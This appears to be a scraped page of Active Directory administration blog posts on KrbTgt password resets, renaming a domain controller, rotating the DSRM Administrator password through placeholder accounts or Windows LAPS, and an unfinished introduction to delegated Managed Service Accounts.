As ALWAYS, TEST FIRST IN A TEST ENVIRONMENT (I DID 😉 )!!!
HAVE FUN!
PS: Got any feedback or request, please use Github to report bugs or requests! Thanks!
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
As ALWAYS, TEST FIRST IN A TEST ENVIRONMENT (I DID 😉 )!!!
HAVE FUN!
PS: Got any feedback or request, please use Github to report bugs or requests! Thanks!
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
As ALWAYS, TEST FIRST IN A TEST ENVIRONMENT (I DID 😉 )!!!
HAVE FUN!
PS: Got any feedback or request, please use Github to report bugs or requests! Thanks!
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
Some time ago, almost 7 years ago, I wrote a PowerShell script to reset the KrbTgt Account Password of both RWDCs and RODCs. This is UPDATE 8 – FINALLY!!!!!!!! There was lots of coding and functional and stress testing of the new and updated components, and both took some serious time. In addition, I also wanted to move the documentation from individual blog post to 1 centralized link containing everything about the script. It contains lots of information and screenshots to show what happens. I also had some moment where I wanted to release it, and then found a bug. Back to the drawing board to recode and…. retest.
More information can be found through the following links regarding the previous updates:
This release (v3.6) (v3.5 was never released) is a MAJOR update with bug fixes, requests from the community and some new stuff.
The main focus was full set and forget automation of the password reset of the KRBTGT accounts in any given AD domain. There are 2 options for automation, and use whatever option works best for you:
[OPTION 1]: Schedule the script to run every given period defined by you, e.g. every day or week at time HH:mm
[OPTION 2]: Schedule the script to run every day at HH:mm and configure and enable the Password Reset Routine. Based on the configuration it will reset the KRBTGT password at specific moments.
Below is the link for the main github page of the script containing everything.
As ALWAYS, TEST FIRST IN A TEST ENVIRONMENT (I DID 😉 )!!!
HAVE FUN!
PS: Got any feedback or request, please use Github to report bugs or requests! Thanks!
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
I have not done this for quit some time, but because of a silly mistake I made in my test lab, I needed to rename the domain controller. Because of how it went, I wanted to share the experience of how it went wrong and also how I solved it.
Many years ago, if you wanted to rename a domain controller you had to use NETDOM. Then after some it was also possible to rename through the GUI, which made it easier. Change name, reboot, done! Obviously PowerShell also support renaming a domain controller.
Because of that, that is what I thought and actually did.
Figure 1: Renaming The Domain Controller
Confirmation it t is renamed after the reboot of the Domain Controller.
Figure 2: Confirmation The Rename Of The Domain Controller Is Effective After The Reboot
However, after trying to log in I see the following error, which was not expected. For sure it had to do with the rename of the Domain Controller. Checking with ADUC on other Domain Controllers, I noticed the computer was not renamed as it still had the old name.
Figure 3: Error During Console log On After Renaming The Domain Controller Through The GUI
I needed to fix this to be able to get in (i.e., log on) and try the command line option. So, from another Domain Controller I connected remotely to the registry of the affected Domain Controller and changed some values to the original name (R1FSRWDC2) as you can see below in figure 4a, figure 4b and figure 4c.
Figure 4c: Changing The Name Back In The ComputerName Section
After these changes, I rebooted the DC, and was then able to log in again! Yeah!
Then I wanted to renamed the domain controller through PowerShell and reboot the Domain Controller
Rename-Computer -NewName R1FSRWDC3 -Restart
Figure 5: Renaming The Domain Controller Through PowerShell
The Domain Controller was renamed, rebooted and after that I could log in as expected. Opening ADUC, I could see the computer account name was also renamed (R1FSRWDC3). DONE!
Figure 6: The Renamed Computer Account Of The Domain Controller In ADUC
Lesson learned? – Use PowerShell on the Domain Controller you need to rename!
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
Almost 15,5 years ago I wrote a blog post about how to manage the DSRM Administrator Account Password. That old blog post can be found here. A few days earlier back then I wrote a blog post how and when you could log on with the DSRM Administrator account. That old blog post can be found here.
Looking at todays new capabilities and threats, I felt it was needed to rewrite those blog posts, especially the first one, to match today’s modern age and technology.
[BACKGROUND]
So every single time you promote an RWDC or an RODC, you have to specify a password for the Directory Services Restore Mode (DSRM) Administrator account as you can see below in figure 1.
Figure 1: The DC Promotion Screen Where The Password Of The DSRM Administrator Account Must Be Specified.
When the NTDS service fails to start, or when you want to restore the system state non-authoritatively or when you want to perform an authoritative restore of certain objects, you need to use the DSRM Administrator account. That account is a local administrator account on the DC and it does not have any permissions in AD. It does however have full control over the local server itself. Taking that into account with the available tools and methods today, with that account you basically own the local server and with additional steps the AD service and content itself. The DSRM Administrator account should therefore be considered as a Tier 0 account with very high-privileges. In this case, it is very simple…. if you control the server/DC > you control AD!
Because of that, the password should be long/strong (at least 30 characters or even longer) and preferably machine generated. If you want to do it easier, use a really long pass-phrase instead, like for example: “mYSup3rSecur3d5rmP@$$w0rd1tryNOT2f0rget!” (please DO NOT use this password!). A best practice for high-privileged accounts, especially the one not owned by any person, is to reset or change the password on a regular basis, like for example every 3 or 6 months, to mitigate the risk of the password or password hash being stolen/compromised followed by misuse. Think about the following question: “Are YOU resetting/changing the DSRM Administrator Account password on a regular basis?“
For changing/resetting the password on a regular basis, there are multiple options. Let me walk you through all of them, so that you understand and are able to choose wisely what fits best for you.
[OPTION 1] – Do It Yourself Manually Per DC
When you start NTDSUTIL and go into the SET DSRM PASSWORD submenu you can see the option “RESET PASSWORD ON SERVER %s”. “%s” is either the FQDN of a remote server, or NULL when on the local server. See figure 2.
Figure 2: NTDSUTIL And The Options In The “Set DSRM Password” Submenu.
That option must be used against every individual RWDC or RODC to set a new password. Obviously the amount work depends on how many DCs you have in the AD forest and if you can reach all of them from one location. The more you have, the more work, and probably more challenges, you will have. Nevertheless, nothing stops you from querying for all DCs in the AD forest and with a ForEach loop process the previous command against each DC. I would not consider this the best way to go as there are better options.
[OPTION 2] – Do It Yourself Per DC Type And Per AD Domain
Looking again at figure 2 above, you also see the option “SYNC FROM DOMAIN ACCOUNT %s” where “%$” now is the Principal Name (i.e., the sAMAccountName prefixed with the NetBIOS or FQDN Domain Name, e.g. ADTEC.NET\dsrm.RWDCs). That option basically means, you have a so called placeholder user account in AD from which you sync the password hash from into the local DSRM Administrator account. Now THAT sounds really interesting! It is a feature introduced in Windows Server 2008 R2.
The placeholder user account in AD DOES NOT need, or better, SHOULD NOT be high-privileged or have high-privileges. It can be a simple regular account that is disabled. It is just a placeholder for the password and nothing more than that.
If you have both RWDCs and RODCs in a certain AD domain, then you should create 1 placeholder user account in AD for each! Therefore, 1 DSRM placeholder user account in AD for RWDCs, and 1 DSRM placeholder user account in AD for RODCs. DO NOT use one for both! The main reasons are:
Each and every writable DC (RWDC) in the AD forest is and should be treated and considered as the most trusted and most high-privileged machine. If an RWDC is compromised, the rest of your AD, the service itself and all accounts (users, computers, sMSAs, gMSAs and dMSAs) are compromised!
Each and every read-only DC (RODC) in the AD forest is and should be considered as an untrusted machine, yet preferably it still should have adequate security. When an RODC is compromised the impact on the AD forest is much lower than when an RWDC is compromised. The scope of impact is lowered to only those accounts (users, computers, sMSAs, gMSAs and dMSAs) that have their password cached in the NTDS.DIT of the RODC! Depending on the configuration and scenario, RODCs could be used to attack the RWDCs and the AD service as explained here.
Based upon the statements mentioned above, you really DO NOT want to use the same DSRM placeholder AD user account to sync the password from for both RWDCs and RODCs. That’s why you need at least two AD user accounts. One for RWDCs and one for RODCs. You do not want an RODC Admin to gain access to your RWDCs easily like that and/or you also do not want some hacker to pull out the password from a compromised RODC and use it on the RWDCs. That would be really too easy! For RWDCs within the same AD domain you could use the same AD user account as all RWDCs should be treated equally. For RODCs within the same AD domain you could use the same AD user account as all RODCs could be treated equally. You may need more DSRM Placeholder AD user Accounts if for example each AD site contains one or more RODCs which is/are managed by a different admin than in other AD sites. In that case you could create a DSRM Placeholder AD user Account for each AD site containing one or more RODCs. How much separation you want to achieve on RODCs depends on your situation and requirements. Thinking about it, to be honest, that also applies for RWDCs, but that (option 1) comes with a very high management price, for the little additional security you get by making all unique. That, however, could be solved by using Windows LAPS (option 3 later on). However, in return when using Windows LAPS, the AD service must somehow (online or offline) be available! Later, more about this. Remember, compromise one RWDC in any given AD domain, and the rest is also considered to be compromised. These days, it is really not that difficult to do that. But, is it worth having unique passwords for the DSRM administrator account on each and every RWDC within the same AD domain? I do not think so and because of that I consider it to be a good idea to only have one DSRM placeholder account in AD for servicing the DSRM administrator account on all RWDCs in any given AD domain. One important rule of thumb is to have a unique strong/long password for every DSRM Placeholder AD User Account used in and between every AD domain! To use this sync feature keep the following technical requirements in mind:
The DSRM Placeholder AD User Account must be in the same AD domain as the DC that will sync the password hash from that DSRM Placeholder AD User Account. It cannot be in a different AD domain
The DSRM Placeholder AD User Account must have its password hash in the local NTDS.DIT of the DC that wants to sync the password hash from the DSRM Placeholder AD User Account. This is because NTDSUTIL only looks on the local instance of the NTDS.DIT database. For RWDCs this is automatically achieved. For RODCs, however, this is different and it means the password must be explicitly allowed to be cached and it must therefore be pre-populated on demand before initiating the sync from AD. The password of an AD account only replicates to an RODC, when the RODC requests it after forwarding authentication to the RWDC or when forced on demand (pre-populating). It does not replicate automatically like other attributes.
Both RWDCs or RODCs do not need special permissions to sync the password hash from the DSRM Placeholder AD User Account when configuring the scheduled tasks to use the SYSTEM account. The SYSTEM account has the highest permissions possible in the local NTDS.DIT instance.
Synchronization of the password hash only works when the DC is operating in normal mode. It will not work when AD is stopped or when booted into DSRM, which is obvious.
When the password of the DSRM Placeholder AD User Account is reset, make sure end-to-end AD replication is complete before synching the password hash from it to the DCs. Therefore, after resetting the password either allow enough time for AD replication to complete or forcibly initiate AD replication within the domain partition!
The DSRM Placeholder AD User Account must…:
… be configured with “Password Never Expires” as the synchronization cannot occur from an AD user account that has an expired password.
… not be expired itself
… must not be configured with “Smartcard required”
From a security perspective, configure any DSRM Placeholder AD User Account, as follows:
The DSRM Placeholder AD User Account DOES NOT NEED to have any special permissions or privileges in AD. The less the better! Remember, it is just a placeholder for that password hash and nothing more than that. However, all DSRM Placeholder AD User Accounts should be treated as Tier 0, and accordingly be protected and hidden using an Admin Tiering model. Why you ask? Well think about it. Anyone that has access to that account and its password hash would be able to logon to any DC, under special conditions, that syncs the password from it!
Configure the DSRM Placeholder AD User Account as follows to secure it as best as possible. All options are not mandatory, but are for sure highly recommended to enhance its security!:
Disable the DSRM Placeholder AD User Account
Add the DSRM Placeholder AD User Account to the “Domain Guests” group, and change its primary group from “Domain Users” to “Domain Guests”
Remove the account from the “Domain Users” group
Configure it with “User cannot change password”
Now you can obviously configure all this yourself and/or try to figure everything out yourself, but you could also try out the following scripts. If you do use the PowerShell scripts/code, think about the following:
Either use the configured DSRM Placeholder Account Names, or use different Account Names. If you do make sure to update ALL THE SCRIPTS correctly
In the scripts to create the DSRM Placeholder AD User Account, either accept the configured USERS container to create the objects in, or preferably choose an OU with maximum security that is part of an Admin OU Tiering Model. Remember, the DSRM Placeholder AD User Accounts are indirectly high privileged Tier 0 accounts!
If you want or need to place the password hash sync script in another folder on the DCs, feel free to do so. Just make sure to update the configuration of the Scheduled Task accordingly.
All scripts can be used with either scriptmode ADSIorSDSP (default) or ADPoSH. Configure as needed. Both scriptmodes do exactly the same, just using different mechanism.
The PowerShell script/code Creating-The-DSRM-Placeholder-Account-For-RWDCs.ps1 helps you create the DSRM Placeholder AD User Account for RWDCs within an AD domain. Remember, you have to run the script within every AD domain. When you execute it as a Domain Admin account, you will see something similar like figure 3.
Figure 3: Creating The DSRM Placeholder AD User Account for RWDCs
If you have RODCs in your AD domain, the PowerShell script/code Creating-The-DSRM-Placeholder-Account-For-RODCs.ps1 helps you create the DSRM Placeholder AD User Account for RODCs within an AD domain. Remember, you have to run the script within every AD domain. When you execute it as a Domain Admin account, you will see something similar like figure 4.
Figure 4: Creating The DSRM Placeholder AD User Account for RODCs
To further secure the DSRM Placeholder AD User Accounts, a Password Settings Object (PSO), specifically for the DSRM Placeholder AD User Accounts, is also created. This can be done using the PowerShell script/code Creating-And-Configuring-The-PSO-For-DSRM-Placeholder-Accounts.ps1. When you execute it as a Domain Admin account, you will see something similar like figure 5. The importance of the PSO is explained later.
Figure 5: Creating The Password Settings Object For The DSRM Placeholder AD User Accounts
Now with all the objects created in AD, it is time to focus on the DCs themselves. The DCs, both RWDCs and if applicable RODCs, need to use something to sync the password hash from the corresponding DSRM Placeholder AD User Account. For that I also have the PowerShell script/code SYNC_DSRM_ACCOUNT_PASSWORD.PS1. That PowerShell script needs to be placed on every DC in the same folder to make sure the Scheduled Task deployed through a GPO is able to find it. In my case I chose the folder “D:\Support-Stuff\ADDS”. When running the script interactively, as SYSTEM, you will see something similar like figure 6 and figure 8. The output displayed in figure 6 applies to both RWDCs and RODCs. The output displayed in figure 8 is very specific to RODCs. The different is that for an RWDC the password hash is synched immediately, and an RODC the password is first synched from the RWDC to the RODC using the Replicate Single Object for secrets only, and only after that the password hash is synched. For RODCs that additional step is needed to make sure the most recent password of the DSRM Placeholder AD User Account for RODCs is cached locally in the NTDS.DIT of the RODC. Remember, the password hash sync is always done from the local NTDS.DIT! The sync restrictions mentioned are something I implemented in the code to protected the DSRM Placeholder AD User Accounts. Later more about this.
In figure 6 you can see the output when trying to sync the password hash while the restrictions are in place.
Figure 6: Running The Password Sync Hash Script On Either An RWDC Or An RODC Interactively WITH The Sync Restrictions In Place (Not Allowing The Sync Of The Password Hash)
Running the password sync hash script on either an RWDC or an RODC with the sync restrictions in place produces the log file output similar to what is displayed in figure 7.
Figure 7: Output Of The Log When Running The Password Sync Hash Script On Either An RWDC Or An RODC Interactively WITH The Sync Restrictions In Place (Not Allowing The Sync Of The Password Hash)Figure 8: Running The Password Sync Hash Script On An RODC Interactively WITHOUT The Sync Restrictions In Place (Allowing The Sync Of The Password Hash)
Running the password sync hash script on an RODC without the sync restrictions in place produces the log file output similar to what is displayed in figure 9.
Figure 9: Output Of The Log When Running The Password Sync Has Script On An RODC Interactively Without The Sync Restrictions In Place (Allowing The Sync Of The Password Hash)
Now with the password hash sync script on every DC, something is needed to trigger that script to execute on a regular basis. The perfect mechanism for that is a Scheduled Task deployed to all DCs, RWDCs and if applicable RODCs, using 1 GPO. That GPO must therefore target all RWDCs and RODCs. Based on the type of DC (writable or read-only), the password hash sync script will choose the correct DSRM Placeholder AD User Account if those are named correctly accordingly. In my environment I did the following with regards to the configuration of the Scheduled Task in the GPO.
After the new GPO settings have replicated to all DCs, and all the DCs have processed the GPO (max 5 minutes), or after executing GPUPDATE /FORCE, the scheduled task will be available on every DC. As you can see, the scheduled task will execute the PowerShell Sync script and sync the password hash to the DC from the DSRM Placeholder AD User Account, if the sync restrictions are not in place. The script will determine if the DC is a Read-Only DC or a Writable DC and use the correct DSRM Placeholder AD User Account, if named correctly accordingly. In case the DC is an RODC, the PowerShell Sync script performs an additional task before actually synching the password hash from the DSRM Placeholder AD User Account. That task is to make sure the most recent password exists on the local RODC, and is done by executing a Replicate Single Object operation for the corresponding DSRM Placeholder AD User Account from a source RWDC. It then checks if the source RWDC and the target RODC have the same value for “Originating Date/Time” and “Version”. If the values are the same, the password is recent, and password hash sync occurs, otherwise it does not.
Now you might think: “Wait! If I own and compromise an RODC I could update the PowerShell script and instead sync the DSRM Placeholder AD User Account for RWDCs to get the password hash.” Technically this is true, but it will not work. The main reason is that the DSRM Placeholder AD User Account for RWDCs is added to the “Denied RODC Password Replication Group” security group, which prevents the password hash in replicating to the RODC and being stored in the local NTDS.DIT of the RODC. Remember that the sync of the password hash only works if the password is in the local NTDS.DIT. It does not work remotely against remote (RW)DCs. Finally, because the SYSTEM account is used for the Scheduled Task, only the data in the local NTDS.DIT can be accessed, and not any data in remote NTDS.DITs. When the local SYSTEM access data remotely, it uses its computer account as the identity. In case of an RODC computer account, it is very limited in terms of what kind of permissions it has in AD.
As said before, the DSRM Placeholder AD User Accounts, although not having any special privileges in AD, should be considered and treated as Tier 0 accounts as with those credentials you are able to respectively logon to any RWDC or RODC. Preferably the DSRM Placeholder AD User Accounts are located within a Admin OU Tiering Model structure where those are protected and hidden. In addition to all that, let’s have a look at a few scenarios to see what could go wrong.
When somebody somehow compromises a DSRM Placeholder AD User Account, it could be misused to logon to a DC. True! That is why in this process, you should know at what time the DCs try to sync the password hash from the DSRM Placeholder AD User Account. Before that happens, and taking into account the required time needed for end-to-end AD replication (HINT: check out this script to determine AD Replication Convergence within the AD domain – Check-AD-Replication-Latency-Convergence) you reset the password of the DSRM Placeholder AD User Account using a known (i.e., displayed!) machine generated password and remove any password sync restrictions from that account. When the times come, the Scheduled Task on the DCs kicks in and runs the PowerShell script to sync the password hash. The password hash sync script runs as SYSTEM. When executing it checks if the DSRM Placeholder AD User Account actually can be found in AD in the local NTDS.DIT and if the control attribute (configured in the PowerShell code, “extensionAttribute1”) has the correct control value (also configured in the PowerShell code, “RESET”). If all is OK and good to go, it will initiate the sync of the password hash. If the sync of the password hash is successful, the computer will update a reset acknowledgement attribute (also configured in the PowerShell code, “info”) with the version and the originating date/time of the password. This allows you to check which DCs have which version of the password. Something to be aware of, is that RWDCs are able to update the reset acknowledgement attribute (“info”) locally in their own local NTDS.DIT, which then replicates out. RODCs, however, are read-only and do not support local LDAP writes. Any local LDAP write against an RODC is forwarded to an RWDC. When the RODC use SYSTEM locally, remotely it will use its computer account identity. For the update of the reset acknowledgement attribute (“info”) to succeed on the RWDC, the RODC computer account must have the correct LDAP write permissions. All accounts in AD, have LDAP write permissions on their “Personal Information” attribute set. So, to make sure this works for both RWDCs and RODCs, an attribute from the “Personal Information” attribute set was chosen to be the so called reset acknowledgement attribute (“info”).
Now some time after the Scheduled Task completed you reset the password of the DSRM Placeholder AD User Account again using a ransom and unknown (i.e., not displayed!) machine generated password and add the password sync restrictions back onto the corresponding DSRM Placeholder AD User Account. The password restrictions mentioned are: (1) removing a control value (RESET) from the control attribute (“extensionAttribute1”) that allows the password hash sync to occur or not and (2) configuring a DENY:FullControl ACE for SYSTEM on the DSRM Placeholder AD User Account so that the DC is not able to find it in its local NTDS.DIT. When it does not find the DSRM Placeholder AD User Account in AD, the script automatically aborts and does not do anything. Don’t worry about it, AD replication for that DSRM Placeholder AD User Account will still work as expected. The idea behind the DENY:FullControl ACE is to prevent anyone owning the local DC also controlling the password hash sync. This has been implemented for both RWDCs and RODCs, but it is especially needed for RODCs!
But wait! The password hash of the DSRM Placeholder AD User Account that was synched to the DSRM Admin Account, is still available on the password hash history of the DSRM Placeholder AD User Account! True indeed! And that is where the Password Settings Object (PSO) comes in that is specifically created for the DSRM Placeholder AD User Account(s). That PSO has password hash history configured of 0, which essentially means “no history of passwords is kept!”. So, after setting the known machine generated password and having it synched, an unknown machine generated password is set on the account. Because there is no password hash history, it is not possible to retrieve the password hash that was actually synched from the DSRM Placeholder AD User Account to the DSRM Admin Account. By adding the sync restriction, you make sure, the unknown machine generated password (hash) is not synched to the DSRM Admin Accounts as the DC cannot find the DSRM Placeholder AD User Account due to the DENY:FullControl ACE for SYSTEM on the DSRM Placeholder AD User Account.
Now with all the mechanics in place it is time to put it all to work.
Obviously you can also reset the password of DSRM Placeholder AD User Accounts manually. However, if you do, do not forget about the removal and addition of the sync restrictions. Using the PowerShell makes this process a lot easier as it takes those sync restrictions into account.
As an example you can view the first password reset without the sync restrictions for RWDCs in figure 14 and for RODCs in figure 15. This must be done before the DC tries to sync the password hash from the DSRM Placeholder AD User Account. In both figures pay special attention to the values for “Org Date/Time On RWDC” and “Version”. the blue marked password values, should be secured and stored in a password vault!
Figure 14: Resetting The DSRM Placeholder AD User Account Password For RWDCs And REMOVING Sync Restrictions Before The DCs Sync The Password HashFigure 15: Resetting The DSRM Placeholder AD User Account Password For RODCs And REMOVING Sync Restrictions Before The DCs Sync The Password Hash
After the Scheduled Task has executed an synched the password hash from the corresponding DSRM Placeholder AD User Account, you can check AD if and which DCs have done that. To test this without waiting for the correct time of the scheduled task, you can obviously trigger the scheduled task manually on demand using the PowerShell script/code Triggering-Scheduled-Task-On-DCs-On-Demand-To-Initiate-DSRM-Password-Sync.ps1 as displayed in figure 16.
Figure 16: Manually Triggering The Scheduled Task On All DCs In The AD Domain
REMARK: The red marked DCs are DCs that exist in AD, but are turned of or not available
Now some moments after the scheduled task on the DCs have executed, it is interesting to understand if and which DCs have sync the latest version of the password. For that you can run the following PowerShell script/code Displaying-DSRM-Sync-State-Across-All-DCs-In-AD-Domain.ps1. Running that code will return information similar to what is displayed in figure 17.
The DCs with “DC Type” being RWDC should have a value (“Org Date/Time On RWDC” and “Version”) that matches with what was set (see figure 14). The DCs with “DC Type” being RODC should have a value (“Org Date/Time On RWDC” and “Version”) that matches with what was set (see figure 15). If the values match, you are sure the password hash was reset/synched correctly. If some DC has a mismatching value, it can mean 1 of the 2 situations, being: (1) AD replication is not yet complete, or (2) the password reset/sync did not succeeds. That may need some troubleshooting by looking at the local log file on the DC.
Figure 17: The DSRM Password Reset/Sync State Across All DCs In The AD Domain
REMARK: The 2 RWDCs with no value are offline, hence those have no value. The last DC with “DC Type” UNKNOWN is an RODC placeholder for the Cloud Kerberos Trust feature. There is no real RODC behind it, hence it has no value.
As an example you can view the second password reset with the sync restrictions for RWDCs in figure 18 and for RODCs in figure 19. This must be done after the DC has synched the password hash from the DSRM Placeholder AD User Account.
Figure 18: Resetting The DSRM Placeholder AD User Account Password For RWDCs And ADDING Sync Restrictions After The DCs Synched The Password HashFigure 19: Resetting The DSRM Placeholder AD User Account Password For RODCs And ADDING Sync Restrictions After The DCs Synched The Password Hash
As a guideline you would need to repeat this process at least every 6 months to make sure you mitigate the risk of password (hash) compromise.
Every single time you reset the password during the first iteration, you need to store the displayed password in a secure password vault and make sure only authorized people have access to the DSRM passwords during emergencies. Because there is not dependency on AD, the password can always be retrieved from the password vault during any emergency. This does assume the password vault itself does not depend on AD for authentication and authorization.
[OPTION 3] – Let Windows LAPS In Windows Server Manage The DSRM Admin Account Password
REMARK: Windows LAPS is more than just backing up DSRM Administrator Account passwords. For a complete overview see Windows Local Administrator Password Solution (Windows LAPS). This part, however, will only focus of managing DSRM Administrator Account passwords.
LAPS, Local Administrator Password Solution, was first introduced as a separate package, and was called officially Microsoft LAPS. It could be used for clients and servers, but not for DCs. Now fast forward to 2023, and Windows LAPS became available integrated in the Operating System. It is available for Windows 10 + Update package, Windows 11 + Update package, Windows Server 2019 + Update package, Windows Server 2022 + Update package and Windows Server 2025. It now supports managing local administrator account password on clients and servers, and the DSRM administrator account password on DCs!. Depending on the scenario, the password is either backupped in AD or Entra ID. The following rules apply:
Computers that are only joined to Entra ID can only backup the password to Microsoft Entra ID
Computers that are only joined to Active Directory can only backup the password to Active Directory
Computers that are hybrid joined (joined to both Active Directory and Entra ID) can back up the password to either Active Directory or Entra ID, but not both.
Domain Controllers can only backup their DSRM administrator account password to Active Directory and not to Entra ID. In addition encryption must be enabled and used!
To be able to use encrypted passwords and encrypted password history, the domain functional level must at least be configured with “Windows Server 2016”
To use Windows LAPS on DCs to manage the DSRM Administrator Account password, you need to use a GPO that targets all DCs, both RWDCs and if applicable RODCs. If that is done, you cannot use option 2 above. It is either one or the other. However, it is possible to use option 2 for RWDCs and only have 1 DSRM Administrator Account password per AD domain, which is always (hint!) available, and use this option 3 for RODCs. By configuring it like this, you manage yourself the DSRM Administrator Account password that matters and is independent of AD being available, and leave the management of the DSRM Administrator Account password for RODCs to Windows and AD. The reason for this is that for RWDCs, at least 1 RWDC must be available to be able to retrieve its DSRM Administrator Account password. As RODCs cannot function on their own and heavily depend on RWDCs, you might as have the DSRM Administrator Account passwords be managed by Windows/AD. That would also give you unique DSRM Administrator Account password per RODC! To achieve this, you would need 1 GPO (for option 2) that only targets RWDCs, e.g., security filtered using the “Domain Controllers” group and another GPO (for option 3) that only targets RODCs, e.g., security filtered using the “Read-Only Domain Controllers” group. You could almost say “best of both worlds!”.
In figure 20 below you can see the Windows LAPS settings in a GPO that can be used to manage DSRM Administrator Account passwords. The Windows LAPS settings displayed below as “Not Configured” cannot be used to manage DSRM Administrator Account passwords.
Figure 20: Available Windows LAPS Settings To Manage DSRM Administrator Account passwords
After the DC has applied the GPO with the new settings you will something similar as displayed in figure 21, which is the view when using Active Directory Users And Computers MMC. It shows the current expiration date/time, the account for the DSRM Administrator Account (which cannot be changed!), and the current configured DSRM Administrator Account password, which I chose to be a long pass-phrase of multiple words.
Figure 21: The Windows LAPS Properties Of A Specific DC When Viewed Through Active Directory Users And Computers MMC
And the similar is true when viewed through PowerShell in figure 22.
Figure 22: The Windows LAPS Properties Of A Specific DC When Viewed Through PowerShell
With regards to the DSRM Administrator Account password, the default authorized decryptor is always the Domain Admins group in the AD domain the DC is part of. This cannot be changed, and which makes sense! If you do not have the permissions to retrieve the DSRM Administrator Account password, then nothing is displayed, not even an error.
If you have an IFM set, you could load the NTDS.DIT from it using DSAMAIN, as displayed in figure 23, and make that AD instance available through a custom port.
Figure 23: Loading The NTDS.DIT From An IFM Set As A Parallel AD Instance Using A Custom Port
Now that AD instance is available through the custom port, use can use PowerShell to retrieve the DSRM Administrator Account password. You still need to be a member of Domain Admins for this to succeed, and the AD service must be up and running for this to work!
Figure 24: Retrieving The DSRM Administrator Account password From The NTDS.DIT Loaded As Parallel AD Instance Using A Account With Access
Trying to do the exact same thing on a member server with an account that does not have the permissions (figure 25 and 26) or a workgroup machine with the local administrator account of the machine (figure 27 and 28), the attempt to retrieve the DSRM Administrator Account password fails.
Figure 25: Loading The NTDS.DIT From An IFM Set As A Parallel AD Instance Using A Custom Port On Member ServerFigure 26: Retrieving The DSRM Administrator Account password From The NTDS.DIT Loaded As Parallel AD Instance Using A Account With No AccessFigure 27: Loading The NTDS.DIT From An IFM Set As A Parallel AD Instance Using A Custom Port On Workgroup ServerFigure 28: Retrieving The DSRM Administrator Account password From The NTDS.DIT Loaded As Parallel AD Instance Using A Account With No Access
As you can see, currently it just does not work on non-domain joined computers!
It appears though that Microsoft is working on the scenario where all RWDCs are not available due to a catastrophic event, while you still need access, and indeed can access the DSRM Administrator Account password using the procedures as mentioned in Retrieve passwords during Windows Server Active Directory disaster recovery scenarios. This appears to be only available with Windows Insider build 27695 and later.
Now with regards to logging on with DSRM Administrator Account, the default is to only to be able to do that when the DC is booted into DSRM mode (mode 0). However, using the configuration described here, it is ALSO possible to allow logon of the DSRM Administrator Account when either the NTDS service is stopped (mode 1) or running (mode 2) and it is running in normal DS mode. The latter 2, and especially mode 2 is a serious security issue and SHOULD NOT be configured by default. You could also go that far by configuring the following registry configuration in a GPO that targets all DCs (RWDCs and RODCs) to always force it to mode 0 (figure 29). This does not prevent anyone from configuring mode 1 or 2 in the registry of the DC, but if that happens, it will automatically jump back to mode 0, to prevent a forgotten setting becoming a security issue!
Figure 29: Forcing The DCs To Mode 0 Of The DsrmAdminLogonBehavior
Hope this helps you in making the correct decision in how to reset the DSRM Administrator Account password on a regular basis!
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
Microsoft released Windows Server 2025 some time ago and one of the cool features is “delegated Managed Service Accounts (dMSA)”.
With a dMSA, in general, you can migrate an existing (legacy) service account used for a service, scheduled task or application pool and have that dMSA do whatever that (legacy) service account is doing. In other words, the dMSA takes over the functionality of the (legacy) service account. The benefits of using a dMSA over a (legacy) service account are:
No more “Password Never Expires” – Automatic password management – default period every 30 days rotation frequency
Stronger passwords
Mitigates the risk of the “Kerberoasting Attack” against the (legacy) service accounts by strengthening credentials
To be able to use a dMSA, the following requirements apply:
Currently at least 1 W2K25 RWDC
Currently the service, scheduled task or application pool must be running on a W2K25 server
PS: I saying “Currently”, as today that is indeed the case, but I’m hoping Microsoft backports this to earlier Windows Server versions. This would help many immediately instead of having to upgrade first
Although I have quite a lot of details to share about dMSA, for now enough said about dMSAs as many others already blogged about it. For additional information about dMSA I’m referring you to Delegated Managed Service Accounts overview
In summary the W2K25 DC presents the following behavior
